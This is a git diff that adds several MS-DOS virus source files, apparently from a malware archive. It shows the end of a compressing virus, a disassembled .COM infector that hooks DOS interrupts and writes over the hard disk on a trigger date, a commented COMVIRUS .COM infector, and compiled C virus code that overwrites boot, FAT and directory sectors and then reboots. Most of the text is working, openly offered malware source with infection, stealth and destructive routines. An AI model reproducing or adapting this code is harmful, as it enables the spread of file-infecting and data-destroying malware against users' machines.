mov cx,[bp+4000h] + add di,cx + shl cx,1 + jz loc_271 + add bp,cx + and bp,3FFFh + mov cx,di + sub cx,si + cmp cx,0E000h + jb loc_271 + push si + push di + mov cx,ax + jcxz loc_267 + repe cmpsb + jnz loc_265 + cmp di,dx + jae loc_265 +loc_267: + inc ax + cmpsb + jnz loc_270 +loc_268: + cmp di,dx + jae loc_270 + inc ax + cmp ax,10Fh + jb loc_269 + mov ax,10Fh + pop di + pop si + mov bx,di + sub bx,si + jmp short loc_271 +loc_269: + cmpsb + jz loc_268 +loc_270: + pop di + pop si + mov bx,di + sub bx,si + jmp short loc_266 +loc_271: + mov si,dx + inc ax +loc_272: + xor cx,cx + cmp cs:data_166,cx + jne loc_273 + cmp cs:data_167,ax + jae loc_273 + mov ax,cs:data_167 +loc_273: + cmp ax,2 + jb loc_276 + jnz loc_274 + cmp bx,0F700h + jae loc_274 + dec ax + jmp short loc_276 +loc_274: + push ax + mov cx,ax + dec cx + +locloop_275: + push cx + call sub_26 + pop cx + loop locloop_275 + + pop ax +loc_276: + pop dx + pop di + pop bp + pop es + ret +sub_27 endp + + +;--------------------------------------------------------------------------- +; buffer + text +;--------------------------------------------------------------------------- + +buffer db 0CDh, 20 ;original code of dummy program + db (BUFLEN-2) dup (?) + +printme db 7, 0Dh, 0A + db 'ͻ', 0Dh, 0A + db ' *** CRUNCHER V2.0 *** Automatic file compression utility ', 0Dh, 0A + db ' Written by Masud Khafir of the TridenT group (c) 31/12/92 ', 0Dh, 0A + db ' Greetings to Fred Cohen, Light Avenger and Teddy Matsumoto ', 0Dh, 0A + db 'ͼ', 0Dh, 0A + db '$' + +last: + +_TEXT ends + end first + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/MSDOS/Virus.MSDOS.Unknown.cv.asm b/MSDOS/Virus.MSDOS.Unknown.cv.asm new file mode 100644 index 00000000..e2b4397d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cv.asm @@ -0,0 +1,274 @@ + PAGE 60,132 +; +XSEG SEGMENT +; Seg=01387H +; Org=00000H + ASSUME CS:XSEG +XPROC PROC FAR + JMP L6551 + DEC BX + PUSH BX + PUSH CX + CALL L0009 +L0009: POP SI + SUB SI,+09H + PUSH SI + CLD + MOV DI,0100H + MOV CX,0005H + MOVSB + JMP L01CE +L001A: PUSHF + PUSH CS + CALL WORD PTR CS:[08C0H] + DB 0C3H; RET + STI + CMP AH,4BH + JE L0061 + CMP AH,11H + JE L0035 + CMP AH,12H + JE L0035 + JMP L01C0 +L0035: CALL L001A + PUSH AX + PUSH BX + PUSH ES + MOV AH,2FH + CALL L001A + MOV AX,534BH + CMP ES:[BX+1EH],AX + JNE L0050 + MOV AX,0254H + SUB ES:[BX+24H],AX +L0050: POP ES + POP BX + POP AX + RET 0002H; 0CAH +L0056: MOV BX,0F200H + MOV CX,0001H + MOV DH,00H + INT 13H + DB 0C3H; RET +L0061: PUSHF + PUSH SS + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + XOR AX,AX + MOV DS,AX + MOV DI,DS:[0194H] + MOV ES,DS:[0196H] + MOV AX,WORD PTR DS:[004CH] + MOV BX,DS:[004EH] + MOV CX,0F000H + MOV DX,0EC59H + MOV DS:[0100H],DX + MOV DS:[0102H],CX + MOV WORD PTR DS:[0198H],AX + MOV DS:[019AH],BX + MOV DS:[004CH],DI + MOV DS:[004EH],ES + PUSH CS + POP DS + PUSH CS + POP ES + MOV AH,19H + CALL L001A + CMP AL,01H + JNBE L00BB + MOV DL,AL + MOV AX,0201H + CALL L0056 + MOV AX,0301H + CALL L0056 + CMP AH,00H + JNE L00D0 +L00BB: MOV AH,2AH + CALL L001A + CMP DX,0401H + JNE L00D3 + MOV AX,030FH + MOV DL,80H + CALL L0056 + CLI + HLT +L00D0: JMP L01A4 +L00D3: MOV AH,2FH + CALL L001A + MOV CS:[08B0H],ES + MOV CS:[08B2H],BX + MOV AH,4EH + MOV DX,0BD5H + MOV CX,0000H + CALL L001A + JB L00D0 +L00EF: MOV AX,534BH + CMP ES:[BX+16H],AX + JNE L0101 +L00F8: MOV AH,4FH + CALL L001A + JB L00D0 + JMP SHORT L00EF +L0101: MOV CX,05DCH + CMP ES:[BX+1AH],CX + JBE L00F8 + PUSH ES + POP DS + MOV AX,3D02H + MOV DX,BX + ADD DX,+1EH + CALL L001A + MOV WORD PTR CS:[0C65H],AX + MOV BX,AX + PUSH CS + POP DS + MOV AH,3FH + MOV DX,0A10H + MOV CX,0005H + CALL L001A + MOV DX,5A4DH + CMP DS:[0A10H],DX + JE L019A + MOV DI,0C67H + MOV AL,0E9H + MOV [DI],AL + INC DI + MOV BX,DS:[08B2H] + MOV CX,ES:[BX+1AH] + INC CX + INC CX + MOV [DI],CX + INC DI + INC DI + MOV AX,534BH + MOV [DI],AX + MOV BX,CS:[0C65H] + MOV AX,4200H + XOR CX,CX + XOR DX,DX + CALL L001A + MOV AH,40H + MOV DX,0C67H + MOV CX,0005H + CALL L001A + MOV AX,4202H + XOR CX,CX + XOR DX,DX + CALL L001A + PUSH CS + POP DS + MOV BX,CS:[0C65H] + MOV AH,40H + MOV DX,0A10H + MOV CX,0254H + CALL L001A + JB L019A + MOV BX,CS:[0C65H] + MOV AX,5700H + CALL L001A + MOV AX,5701H + MOV CX,534BH + CALL L001A +L019A: + MOV BX,CS:[0C65H] + MOV AH,3EH + CALL L001A +L01A4: XOR AX,AX + MOV DS,AX + MOV AX,WORD PTR DS:[0198H] + MOV BX,DS:[019AH] + MOV WORD PTR DS:[004CH],AX + MOV DS:[004EH],BX + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + POP SS + POPF +L01C0: + JMP WORD PTR CS:[08C0H] + SUB CH,DS:[6F63H] + DB 6DH + ADD [BX+SI+0CF03H],DH +L01CE: MOV AX,0070H + MOV ES,AX + MOV DI,0000H + MOV AX,80FBH +L01D9: CLD + MOV CX,0FFFFH + SCASW + JE L01E6 + MOV DI,0001H + JMP SHORT L01D9 +L01E6: MOV BX,02FCH + CMP ES:[DI],BX + JNE L01DD + DEC DI + DEC DI + XOR AX,AX + MOV DS,AX + MOV DS:[0194H],DI + MOV DS:[0196H],ES + MOV ES,DS:[009EH] + MOV BX,DS:[00A0H] + PUSH CS + POP DS + MOV DX,BP + MOV BP,DS + POP SI + PUSH SI + MOV DI,0A10H + MOV CX,0255H + MOVSB + PUSH ES + LEA DI,[BX+1BH] + MOV AL,0E9H + STOSB + MOV AX,0A30H + SUB AX,DI + STOSW + MOV AX,9090H + STOSW + STOSW + MOV ES:[08C0H],DI + MOV AX,SS + SUB AX,0018H + CLI + MOV SS,AX + PUSH CS + POP SS + STI + MOV DS,BP + MOV BP,DX + POP ES + PUSH CS + POP ES + POP SI + POP CX + XOR DX,DX + XOR SI,SI + XOR AX,AX + XOR BX,BX + MOV DI,0100H + JMP DI + DEC BP + DB 69H + DB 6CH + DB 65H + DB 6EH + DB 61H + AND [BP+DI+02H],CL +XPROC ENDP +XSEG ENDS + END + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.cv4-30.asm b/MSDOS/Virus.MSDOS.Unknown.cv4-30.asm new file mode 100644 index 00000000..e50cc167 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cv4-30.asm @@ -0,0 +1,458 @@ +title COMVIRUS +subttl By Drew Eckhardt +subttl Latest revision: 4-28-1991 + +;The author of this virus intends it to be used for educational +;purposes only, and assumes no responsibilities for its release, +;dammages resulting from its use, including but not limited to +;equipment dammage or data loss. + +;By assembling or examining this program, The user agrees to accept all +;responsibility for this programs use, or any portions of the code +;or concepts contained within. The user also agrees to not publicly release +;this virus, and to exercise necessary precautions to prevent its escape. +;The user accepts all responsibility arising from his actions. + +;Don't come crying to me if your hard disk gets infected, +;as THERE IS NO ANTIDOTE. HAHAHAH. + + +;Revision history: +;4-13: initial bug-free release, size=424 bytes with carrier + +;4-15: added no date change support, size=438 bytes with carrier + +;4-16: minor documentation changes, size=438 bytes with carrier, +; NO CODE CHANGE from 4-15 revision + +;4-21: fixed missing hex h suffixs, made MASM friendly, +; fixed incorrect assume statement (assume statements are ignored +; by A86) enabled hard/floppy infection based on floppy_only status +; size=438 bytes IF floppy_only, 424 bytes if not, with carrier. +; minimum virus length = 419 bytes + +;4-23: added control over how many programs are infected per run, +; switched method of infection, from copying to DTA then writing +; to disk to straight write to disk from memory. +; size=412 bytes IF floppy_only, 398 bytes if not, with carrier. +; minimum virus length = 393 bytes + +;4-28: used set DTA instead of default DTA/copy command line +; buffer, which had been used based on incorrect assumption +; eliminated calls to get time/date, get attribs +; by using information from find first/find next functions 4eh/4fh +; made warning optional for reduced space if desired. Also +; changed mov reg16, bp add reg16, constant to shorter LEA instruction. +; size=354 bytes IF floppy_only, warning on W/carrier +; 340 bytes IF w/warning & carrier program +; 286 bytes w/o warning, in program +; minimum virus length = 281 bytes for virus itself + +;4-28pm: instead of near CALL-pop sequences everywhere, switched to +; a single CALL near ptr Reference_Point, putting the result into +; si now that (until the end) string mode addressing is not used. +; Changed places where a register (used as an index) +; was being loaded THEN added to a single LEA isntruction +; size = 340 bytes if floppy_only, warning on w/carrier +; size = 326 bytes if w/warning & carrier +; size = 272 w/o warning +; minimum virus length = 267 bytes for the virus itself + +;4-28pm2: Eliminated unecessary flush buffers call. +; size = 336 bytes if floppy_only w/carrier +; size = 322 bytes w/warning & carrier +; size = 268 w/o warning +; minimum virus length = 263 bytes for virus itself + +;4-30: restored 5 bytes of original code at CS:0100 +; before infecting other programs, allowing the +; original code field to be modified so one disk write could be +; used instead of two +; minor documentation revisions - corrected incorrect +; opcodes in documentation +; size = 326 bytes if floppy_only w/carrier +; size = 312 bytes w/warning & carrier program +; size = 258 bytes w/carrier program +; Minimum virus length = 253 bytes for the virus itself + +;NOTE: The program is currently "set up" for A86 assembly with all +;conditional assembly symbols. #IF and #ENDIF should be replaced with +;MASM IFDEF and ENDIF directives for propper operation. +;Also, instead of using EQUates to define control symbols, the /D +;option or DEFINE could be used..... + + +;COMVIRUS.ASM must be assembled into a .COM file inorder to function +;properly. For convieniece, I recommend an assembler like A86 that will +;assemble to a .COM file without having to go through LINK and EXE2BIN + +;As is, it will infect .COM files located on the current disk. +;ONLY if it is a floppy disk, ONLY in the root directory. + +;This is a .COM infector virus, which, does nothing other than print a +;warning message, and spread to all files on the default disk IFF it is +;a floppy disk, in the root directory. + +;Theory: +;This is a non - overwriting virus. I took special precautions to preserve +;all functionality of the original program, including command line, parsed FCB, +;and segment register preservation. This makes the virus harder to detect. + +;The .COM file is a memory image - with no relocation table. Thus, it +;is an easy target for a virus such as this. + +;Infected file format +;jmp near ptr xxxx +;cli cli ;ID bytes +;ORIGINAL program code, sans 5 bytes +;5 bytes ORIGINAL program code +;VIRUS + +;This format makes infection VERY simple. We merely check for our signature +;(in this case cli cli (fa fa) - instructions that no programmer in his +;right mind would use - loading the original five bytes in the process. +;These original bytes are written to the end of the program, then +;A jump to where the virus is. + +;While infection is easy, this method presents some coding problems, as the +;virus does not know where in memory it is. Therefor, When we want to access +;data, we FIND OUT where we are, by performing a near call which PUSHES ip to the +;stack which is then popped. Addresses are then calculated relative to this +;via LEA + +;To run the program as normal, command line is restored, registers restored, +;And original code copied onto the first five bytes of the program. + + +;Program control symbols defined here +floppy_only equ 1 +infect_per_run equ 1 ;number of programs infected per run +warn_user equ 1 + +_TEXT segment byte 'CODE' + assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT + org 100h + +Start: jmp infect; + +;This is our signature + cli + cli + +;Original code is the data field where we store the original program code +;which will replace our signature and jmp to infect + +Original_Code: int 20h ;five bytes that simply terminate + nop ;the program + nop + nop + + + +;Data for the virus. In a destructive virus, you would want to encrypt +;any strings using a simple one's complement (not) operation so as to +;thwart detection via text search utilities. Since we want detection to +;be easy, this un-encrypted form is fine. + + +Start_Virus: +#IF warn_user + Warning db "This file infected with COMVIRUS 1.0",10,13,'$' +#ENDIF + +;VirusMask is simply an ASCIIZ terminated string of the files we wish to +;infect. + + VirusMask db '*.COM', 0 +Infect: + push ax ;on entry to a .COM program, STACK: + ;MS-DOS puts drive identifiers ax (drive id for FCB's) <-- sp + ;for the two FCB's in here. Save + ;'em + + ;I use special trickery to find location of data. Since + ;NEAR calls/jmps are RELATIVE, call near ptr find_warn is + ;translated to e8 0000 - which will simply place the location + ;of Reference onto the stack. Our data can be found relative to + ;this point. + + call near ptr Reference ;All data is reference realative to + ;Reference + + +Reference: pop bx ;which is placed into bx for LEA + ;instructions + ;bx now contains the REAL address of + ;Reference + ;si points to real address of original + ;code field + lea si, [bx-(offset Reference - offset Original_Code)] + mov di, 0100h ;original code is at 100h + mov cx, 5 ;5 bytes + cld ;from start of buffer + rep movsb ;do it + + mov si, bx ;since BX is used in handle + ;based DOS calls, for the remainder + ;of the virus, si will contain the + ;actual address of reference + +#IF warn_user + + ;Always calculate the address of data relative to known Reference + ;Point + lea dx, [si-(offset Reference - offset Warning)] + mov ah,9h ;DO dos call, DS:DX pointing + int 21h ;to $ terminated string + + ;We want to make sure that the user gets the message + +WaitForKey: + mov ah, 0bh ;we will wait for a keypress + int 21h ;signifying the user has + or al, al ;seen the message. + jz WaitForKey + +#ENDIF + +#IF FLOPPY_ONLY + + ;Since this is a simple demonstration virus, we will only infect + ;.COM files on the default drive IFF it is a floppy disk.... + ;So, we will get information about the disk drive. + + + push ds ;ds:bx returns a byte to + ;media descriptor + + mov ah, 1bh ;get disk information STACK + int 21h ;DOIT ax (drive ID's) + cmp byte ptr ds:[bx], 0f8h ;see if its a hard disk ds <--sp + + pop ds ;restore ds STACK + jne Floppy ;if it was hard.... ax <--sp + jmp near ptr done ;we're nice guys and are done + +Floppy: ;Since it was floppy, we can go on with the infection! +#ENDIF + ;The default DTA, as is will give us problems. The designers of + ;MickeySoft DOS decided to put default DTA at ofset 128 in + ;the PSP. PROBLEM: This is also where the user's precious command + ;line is, and we MUST remain undectected. SO.... we allocate a + ;DTA buffer on the stack. 43 bytes are needed, 44 will do. + + sub sp, 44 ;allocate space for findfirst/findnext DTA + mov bp, sp ;set up bp as a reference to this area + + ;Set the DTA + mov dx, bp ;point DS:DX to our area + mov ah, 1ah ;set DTA + int 21h + + ;Set up pointers to data in DTA + dta equ word ptr [bp] + file_name equ word ptr [bp+1eh] + attributes equ byte ptr [bp+15h] + time_stamp equ word ptr [bp+16h] + date_stamp equ word ptr [bp+18h] + file_size equ dword ptr [bp+1ah] + + ;We dynamically allocate a variable to store the number of programs STACK + ;The virus has infected. FCB drives + ; bp--> 44 byte DTA + infected_count equ byte ptr[bp-2]; Infected_Count + xor ax, ax ;zero variable, sp--> buffer (6 bytes) + push ax ;allocate it on the stack + sub sp, 6 ;allocate small buffer + + ;Now, we begin looking for files to infect. + lea dx, [si - (offset Reference - offset VirusMask)] + ;DS:DX points to the search string STACK + mov ah, 4eh ;find first matching directory entry FCB drives (word) + mov cx, 111b ;only default directory, FILES + ;hidden, system and normal + int 21h ;doit bp--> 44 byte DTA buffer + ; infected count (word) + jnc Research ;carry is clear when a file was sp--> 6 byte buffer + jmp nofile ;found. + + +ReSearch: +;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx + lea dx, file_name + +;Since this is a virus, we want to infect files that can't be touched by +;DOS commands, this means readonly, system, and hidden files are at our +;mercy. To do this, we rely on the findfrst/next attributes and other data +;to restore the attribute byte to the original settings. get/SET can fix +;them to be suitable + mov cl, attributes + and cl, 11100000b ;not readonly, system, or hidden STACK + ; FCB drives + mov ax, 4301h ;set attributes bp--> buffer (44 bytes) + int 21h ; buffer (6 bytes) + ; sp--> infected_count + jnc NoError ;check for error + jmp Restore_Flags +NoError: + mov ax, 3d02h ;now, open file using handle, + ;read/write access + int 21h ; + jnc NoError2 ;IF there was an error, we are done + jmp Restore_Flags ;But we don't need to commit or close + +NoError2: + mov bx, ax ;The handle was returned in ACC. + ;Howwever, all handle based DOS + ;calls expect it in BX + + +;We don't want to infect the program more than once, so we will +;check to see if it is infected. + + + mov ax, 4200h ;seek relative to start of file + ; bx contains handle from open operation + xor cx,cx ;cx:dx is file pointer + xor dx, dx ; + int 21h ;DOIT + +;Now, we will read in enough data to see if we have our virus signature. + mov ah, 3fh ;read data + lea dx, [si-(offset reference-offset original_code)] + ;into original_code buffer + mov cx, 5 ;5h bytes + ; bx contains handle from last operation + int 21h + + cmp word ptr [si-(offset reference-offset original_code)+3], 0fafah + jne GoApe ;if we aren't already infected, + jmp Error ;go for it + +GoApe: +;Since it is safe to infect, we will + mov ax, 4202h ;seek end of file + xor cx, cx + xor dx, dx + int 21h + + or dx, dx ;check for valid .COM format + jz Less_Than_64K + jmp Error + +Less_Than_64K: + +;Now, we must calculate WHERE the jump will be to. Let's examine the program +;Structure: +;jmp near ptr xxxx +;Cli Cli }These add up to the original length +;Orignal code sans 5 bytes + +;Original_Code (5 bytes) }The length of all virus data +;Other virus data is equal to the difference in +;Infect the addresses of Infect and Original_Code + +;End_Virus + + +;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin) +;However, in the 80x86, NEAR jumps are calculated as an offset from the position +;of the next statement to execute (because of fetch/execute cycle operation). + +;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from +;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code +;+Original_Length-3); + + ;Since AX already contains the original length, we will merely add + ;Space for the virus data, and take care of the three bytes + ;of code generated by the jmp near instruction. + + add ax, (offset Infect - Offset Original_Code -3) + + ;calculate jump address + mov byte ptr [bp-8], 0e9h ;jmp near instruction + mov word ptr [bp-7], ax ;offset for near jmp + mov word ptr [bp-5], 0fafah ;cli cli + + mov ax, 4200h ;seek begining of file + xor cx, cx + mov dx, cx + int 21h + + mov ah, 40h ;write patched code + mov cx, 5 ;5 bytes of code + lea dx, [bp-8] ;our buffer + int 21h + + mov ax, 4202h ;seek EOF + xor cx, cx + xor dx, dx + int 21h + + + lea dx, [si - (offset Reference - offset Original_Code)]; set start + mov cx, (offset End_Virus - offset Original_Code) ;set length + mov ah, 40h ;append virus to file + int 21h ;doit + + inc infected_Count ;bump up the number of programs infected + +Error: mov dx,date_stamp ;restore date + mov cx,time_stamp ;restore time + mov ax, 5701h ;set them + int 21h + + mov ah, 3eh ;close file + int 21h + +Restore_Flags: + xor ch, ch ;zero hi byte flags + mov cl,attributes ;restore flags + lea dx, file_name ;ds:dx points to ASCIIZ string + ;in the buffer, offset 1eh contains + ;the file name + mov ax, 4301h ;get/SET flags + int 21h ;Doit + +DoAgain:;See if we're done infecting + cmp infected_count, infect_per_run + jae NoFile ;if we're done, same as no new file + + + mov ah, 4fh ;find next + int 21h + + jc NoFile ;if carry is clear, DOIT again! + jmp ReSearch + +;Since we have no more files, we will restore things to normal. +NoFile: + mov dx, 80h ;reset default dta at DS:80h + mov ah, 1ah ;set DTA + int 21h + + add sp, 52 ;deallocate buffers and infected_count + + + +;Put original code of program BEFORE it was infected back in place! + + +Done: + pop ax ;restore ax + + + ;FUNKY code! In the 80x86, all NEAR or SHORT jmp opcodes take + ;a RELATIVE address...... BUT a retn opcode pops a near absolute + ;address of the stack - saves us the trouble of some calculating + ;relative to here, and the trouble of a self-modifying + ;far absolute jmp! (5 bytes) + + mov bx, 0100h + push bx + ret ;easiest jump to cs:100 + +End_Virus: +_TEXT ends +end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.cvirus.asm b/MSDOS/Virus.MSDOS.Unknown.cvirus.asm new file mode 100644 index 00000000..710eddf7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cvirus.asm @@ -0,0 +1,596 @@ + ifndef ??version +?debug macro + endm +$comm macro name,dist,size,count + comm dist name:BYTE:count*size + endm + else +$comm macro name,dist,size,count + comm dist name[size]:BYTE:count + endm + endif + ?debug S "cvirus.c" + ?debug C E9A18C4217086376697275732E63 + ?debug C E90008A41413433A5C54435C494E434C5544455C6469722E68 + ?debug C E90008A41413433A5C54435C494E434C5544455C646F732E68 + ?debug C E90008A41415433A5C54435C494E434C5544455C66636E746C2E68 + ?debug C E90008A41412433A5C54435C494E434C5544455C696F2E68 + ?debug C E90008A41416433A5C54435C494E434C5544455C7374646172672E+ + ?debug C 68 + ?debug C E90008A41415433A5C54435C494E434C5544455C737464696F2E68 +_TEXT segment byte public 'CODE' +_TEXT ends +DGROUP group _DATA,_BSS + assume cs:_TEXT,ds:DGROUP +_DATA segment word public 'DATA' +d@ label byte +d@w label word +_DATA ends +_BSS segment word public 'BSS' +b@ label byte +b@w label word +_BSS ends +_DATA segment word public 'DATA' +_screw_virex label byte + db 245 + db 35 + db 114 + db 150 + db 84 + db 250 + db 227 + db 188 + db 205 + db 4 + db 0 +_DATA ends +_TEXT segment byte public 'CODE' + ; + ; void hostile_activity(void) + ; + assume cs:_TEXT +_hostile_activity proc near + push bp + mov bp,sp + ; + ; { + ; /* Put whatever you feel like doing here... + ; I chose to make this routine trash the victim's boot, FAT, and + ; directory sectors, but you can alter this code however you want, + ; and are encouraged to do so. + ; */ + ; + ; + ; #ifdef DEBUG + ; puts("\aAll files infected!"); + ; exit(1); + ; #else + ; /* Overwrite five sectors, starting with sector 0, on C:, with the + ; memory at location DS:0000 (random garbage). + ; */ + ; + ; abswrite(2, 5, 0, (void *) 0); + ; + xor ax,ax + push ax + xor dx,dx + push ax + push dx + mov ax,5 + push ax + mov ax,2 + push ax + call near ptr _abswrite + add sp,10 + ; + ; __emit__(0xCD, 0x19); // Reboot computer + ; + db 205 + db 25 + ; + ; #endif + ; } + ; + pop bp + ret +_hostile_activity endp +_TEXT ends +_DATA segment word public 'DATA' + db 78 + db 77 + db 65 + db 78 + db 0 +_DATA ends +_TEXT segment byte public 'CODE' + ; + ; int infected(char *fname) + ; + assume cs:_TEXT +_infected proc near + push bp + mov bp,sp + sub sp,36 + push si + ; + ; { + ; /* This function determines if fname is infected. It reads four + ; bytes 28 bytes in from the start and checks them agains the + ; current header. 1 is returned if the file is already infected, + ; 0 if it isn't. + ; */ + ; + ; register int handle; + ; char virus_signature[35]; + ; static char check[] = SIGNATURE; + ; + ; handle = _open(fname, O_RDONLY); + ; + mov ax,1 + push ax + push word ptr [bp+4] + call near ptr __open + add sp,4 + mov si,ax + ; + ; _read(handle, virus_signature, sizeof(virus_signature)); + ; + mov ax,35 + push ax + lea ax,word ptr [bp-36] + push ax + push si + call near ptr __read + add sp,6 + ; + ; close(handle); + ; + push si + call near ptr _close + inc sp + inc sp + ; + ; + ; #ifdef DEBUG + ; printf("Signature for %s: %.4s\n", fname, &virus_signature[28]); + ; #endif + ; + ; /* This next bit may look really stupid, but it actually saves about + ; 100 bytes. + ; */ + ; + ; return((virus_signature[28] == check[0]) && (virus_signature[29] == check[1]) + ; + ; + ; && (virus_signature[30] == check[2]) && (virus_signature[31] == check[3])); + ; + mov al,byte ptr [bp-8] + cmp al,byte ptr DGROUP:d@+11 + jne short @2@146 + mov al,byte ptr [bp-7] + cmp al,byte ptr DGROUP:d@+11+1 + jne short @2@146 + mov al,byte ptr [bp-6] + cmp al,byte ptr DGROUP:d@+11+2 + jne short @2@146 + mov al,byte ptr [bp-5] + cmp al,byte ptr DGROUP:d@+11+3 + jne short @2@146 + mov ax,1 + jmp short @2@170 +@2@146: + xor ax,ax +@2@170: + ; + ; } + ; + pop si + mov sp,bp + pop bp + ret +_infected endp + ; + ; void spread(char *virus, struct ffblk *victim) + ; + assume cs:_TEXT +_spread proc near + push bp + mov bp,sp + sub sp,4740 + push si + push di + ; + ; { + ; /* This function infects victim with virus. First, the victim's + ; attributes are set to 0. Then the virus is copied into + ; the victim's file name. Its attributes, file date/time, and + ; size are set to that of the victim's, preventing detection, and + ; the files are closed. + ; */ + ; + ; register int virus_handle, victim_handle; + ; unsigned virus_size; + ; char virus_code[TOO_SMALL + 1], *victim_name; + ; + ; + ; /* This is used enought to warrant saving it in a separate variable */ + ; + ; victim_name = victim->ff_name; + ; + mov ax,word ptr [bp+6] + add ax,30 + mov word ptr [bp-4],ax + ; + ; + ; + ; #ifdef DEBUG + ; printf("Infecting %s with %s...\n", victim_name, virus); + ; #endif + ; + ; /* Turn off all of the victim's attributes so it can be replaced */ + ; + ; _chmod(victim_name, 1, 0); + ; + xor ax,ax + push ax + mov ax,1 + push ax + push word ptr [bp-4] + call near ptr __chmod + add sp,6 + ; + ; + ; + ; #ifdef DEBUG + ; puts("Ok so far..."); + ; #endif + ; + ; /* Recreate the victim */ + ; + ; virus_handle = _open(virus, O_RDONLY); + ; + mov ax,1 + push ax + push word ptr [bp+4] + call near ptr __open + add sp,4 + mov di,ax + ; + ; victim_handle = _creat(victim_name, victim->ff_attrib); + ; + mov bx,word ptr [bp+6] + mov al,byte ptr [bx+21] + cbw + push ax + push word ptr [bp-4] + call near ptr __creat + add sp,4 + mov si,ax + ; + ; + ; + ; /* Copy virus */ + ; + ; virus_size = _read(virus_handle, virus_code, sizeof(virus_code)); + ; + mov ax,4736 + push ax + lea ax,word ptr [bp-4740] + push ax + push di + call near ptr __read + add sp,6 + mov word ptr [bp-2],ax + ; + ; _write(victim_handle, virus_code, virus_size); + ; + push ax + lea ax,word ptr [bp-4740] + push ax + push si + call near ptr __write + add sp,6 + ; + ; + ; + ; #ifdef DEBUG + ; puts("Almost done..."); + ; #endif + ; + ; /* Reset victim's file date, time, and size */ + ; + ; chsize(victim_handle, victim->ff_fsize); + ; + mov bx,word ptr [bp+6] + push word ptr [bx+28] + push word ptr [bx+26] + push si + call near ptr _chsize + add sp,6 + ; + ; setftime(victim_handle, (struct ftime *) &victim->ff_ftime); + ; + mov ax,word ptr [bp+6] + add ax,22 + push ax + push si + call near ptr _setftime + add sp,4 + ; + ; + ; + ; /* Close files */ + ; + ; close(virus_handle); + ; + push di + call near ptr _close + inc sp + inc sp + ; + ; close(victim_handle); + ; + push si + call near ptr _close + inc sp + inc sp + ; + ; + ; #ifdef DEBUG + ; puts("Infection complete!"); + ; #endif + ; } + ; + pop di + pop si + mov sp,bp + pop bp + ret +_spread endp +_TEXT ends +_DATA segment word public 'DATA' + dw DGROUP:s@ + dw DGROUP:s@+6 + db 0 + db 0 +_DATA ends +_BSS segment word public 'BSS' + db 43 dup (?) +_BSS ends +_TEXT segment byte public 'CODE' + ; + ; struct ffblk *victim(void) + ; + assume cs:_TEXT +_victim proc near + push bp + mov bp,sp + push si + push di + ; + ; { + ; /* This function returns a pointer to the name of the virus's next + ; victim. This routine is set up to try to infect .EXE and .COM + ; files. If there is a command line argument, it will try to infect + ; that file instead. If all files are infected, hostile activity + ; is initiated... + ; */ + ; + ; register int done; + ; register char **ext; + ; static char *types[] = {"*.EXE", "*.COM", NULL}; + ; static struct ffblk ffblk; + ; + ; for (ext = (*++_argv) ? _argv : types; *ext; ext++) { + ; + add word ptr DGROUP:__argv,2 + mov bx,word ptr DGROUP:__argv + cmp word ptr [bx],0 + je short @4@74 + mov ax,word ptr DGROUP:__argv + jmp short @4@98 +@4@74: + mov ax,offset DGROUP:d@w+16 +@4@98: + mov si,ax + jmp short @4@362 +@4@122: + ; + ; done = findfirst(*ext, &ffblk, FA_RDONLY | FA_HIDDEN | FA_SYSTEM | FA_ARCH); + ; + mov ax,39 + push ax + mov ax,offset DGROUP:b@w+0 + push ax + push word ptr [si] + call near ptr _findfirst + add sp,6 + jmp short @4@290 +@4@146: + ; + ; while (!done) { + ; + ; #ifdef DEBUG + ; printf("Scanning %s...\n", ffblk.ff_name); + ; #endif + ; + ; /* If you want to check for specific days of the week, months, etc., + ; here is the place to insert the code (don't forget to "#include + ; "). + ; */ + ; + ; if ((ffblk.ff_fsize > TOO_SMALL) && (!infected(ffblk.ff_name))) + ; + cmp word ptr DGROUP:b@w+0+28,0 + jl short @4@266 + jg short @4@218 + cmp word ptr DGROUP:b@w+0+26,4735 + jbe short @4@266 +@4@218: + mov ax,offset DGROUP:b@w+0+30 + push ax + call near ptr _infected + inc sp + inc sp + or ax,ax + jne short @4@266 + ; + ; return(&ffblk); + ; + mov ax,offset DGROUP:b@w+0 + jmp short @4@410 +@4@266: + ; + ; done = findnext(&ffblk); + ; + mov ax,offset DGROUP:b@w+0 + push ax + call near ptr _findnext + inc sp + inc sp +@4@290: + mov di,ax + or di,di + je short @4@146 + inc si + inc si +@4@362: + cmp word ptr [si],0 + jne short @4@122 + ; + ; } + ; } + ; + ; + ; /* If there are no files left to infect, have a little fun */ + ; + ; hostile_activity(); + ; + call near ptr _hostile_activity +@4@410: + ; + ; } + ; + pop di + pop si + pop bp + ret +_victim endp +_TEXT ends +_DATA segment word public 'DATA' + dw DGROUP:s@+12 + dw DGROUP:s@+26 + dw DGROUP:s@+41 + dw DGROUP:s@+61 + dw DGROUP:s@+78 + dw DGROUP:s@+97 + dw DGROUP:s@+115 + dw DGROUP:s@+144 +_DATA ends +_TEXT segment byte public 'CODE' + ; + ; int main(void) + ; + assume cs:_TEXT +_main proc near + push bp + mov bp,sp + push si + ; + ; { + ; /* In the main program, a victim is found and infected. If all files + ; are infected, a malicious action is performed. Otherwise, a bogus + ; error message is displayed, and the virus terminates with code + ; 1, simulating an error. + ; */ + ; + ; static char *err_msg[] = {"Out of memory", "Bad EXE format", + ; "Invalid DOS version", "Bad memory block", + ; "FCB creation error", "Sharing violation", + ; "Abnormal program termination", + ; "Divide error" + ; }; + ; register char *virus_name = *_argv; + ; + mov bx,word ptr DGROUP:__argv + mov si,word ptr [bx] + ; + ; + ; spread(virus_name, victim()); + ; + call near ptr _victim + push ax + push si + call near ptr _spread + add sp,4 + 